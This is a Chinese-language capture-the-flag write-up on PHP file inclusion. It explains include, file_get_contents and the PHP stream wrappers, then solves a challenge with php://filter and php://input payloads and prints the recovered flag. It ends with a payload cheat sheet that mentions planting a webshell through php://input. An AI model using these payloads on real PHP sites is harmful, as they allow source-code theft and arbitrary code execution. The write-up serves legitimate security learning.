先介绍一些知识
文件包含漏洞
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。
什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php
PHP file_get_contents() 函数
file_get_contents() 函数用于将文件的内容读入到一个字符串中
和file() 一样,不同的是 file_get_contents() 把文件读入到一个字符串
include 语句
包含并运行指定文件
语法
include 'filename';
被包含文件先按参数给出的路径寻找,如果没有给出目录,只有文件名时则按照include_path指 定的目录寻找。如果在 include_ path下没找到该文件,则 include最后才在调用脚本文件所在的目录和当前工作目录下寻找,如果最后仍 未找到文件则include结构会发出一条警告。
empty() 函数
用于检查一个变量是否为空。
empty() 判断一个变量是否被认为是空的。当一个变量并不存在,或者它的值等同于 FALSE,那么它会被认为不存在。如果变量不存在的话,empty()并不会产生警告。 这意味着 empty() 本质上与 !isset($var) || $var == false 等价。
当变量存在,并且是一个非空非零的值时返回FALSE,否则返回TRUE。
以下的变量会被认为是空的:
- "" (空字符串)
- 0 (作为整数的0)
- 0.0 (作为浮点数的0)
- "0" (作为字符串的0)
NULL
FALSE
- array() (一个空数组)
- $var; (一个声明了,但是没有值的变量)
isset()函数
用于检测变量是否已设置并且非NULL。
如果已经使用 unset() 释放了一个变量之后,再通过 isset() 判断将返回 FALSE。
若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。
同时要注意的是 null 字符("\0")并不等同于 PHP 的 NULL 常量。
PHP伪协议
指的是PHP所支持的协议与封装协议,在web渗透漏洞利用中常用于配合文件包含进行web攻击,从而获取网站权限。
php://input(用于执行PHP代码)
是一个只读信息流,当请求方式是post的,并且enctype不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据,当enctype等于”multipart/form-data”时php://input是无效的。
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容,从而导致任意代码执行。
例如:
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:
利用该方法,我们可以直接写入php文件,输入file=php://input
,然后使用burp抓包,写入php代码。
遇到file_get_contents()要想到用php://input绕过
用法: ?file=php://input POST:需要写入的数据
php://filter(用于读取源码)
读取源代码并进行base64编码输出
一种元封装器,设计用于数据流打开时的筛选过滤应用。
对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而导致任意文件读取。
打开题目链接,代码审计file2被放入了file_get_contents() 函数,且要求返回值为 hello ctf
file1是要包含的文件,且flag应该是在文件flag.php里面
我们要想办法来读取这个文件,使用php://filter伪协议来读取源代码
即 file1=php://filter/read=convert.base64-encode/resource=flag.php
这里出现了file_get_contents()函数,想到用php://input来绕过
即 file2=php://input POST DATA]: hello ctf
所以payload为
/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
且post传入 hello ctf
得到一串base64编码
PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXtjMjNkY2VlOWYxZTc0NTRlNzVlMTA5OGJlMmZhM2IzOH0=
解码得到源码
$flag = cyberpeace{c23dcee9f1e7454e75e1098be2fa3b38}
存在文件包含时使用PHP伪协议
可能遇到的文件包含函数:
1、include 2、require 3、include_once 4、require_once 5、highlight_file
show_source 7、flie 8、readfile 9、file_get_contents 10、file_put_contents 11、fopen
eg:
php://filter/read=convert.base64-encode/resource=[文件名]
读取文件源码(针对php文件需要base64编码)
php://input + [POST DATA]
执行php代码
若有写入权限,写入一句话木马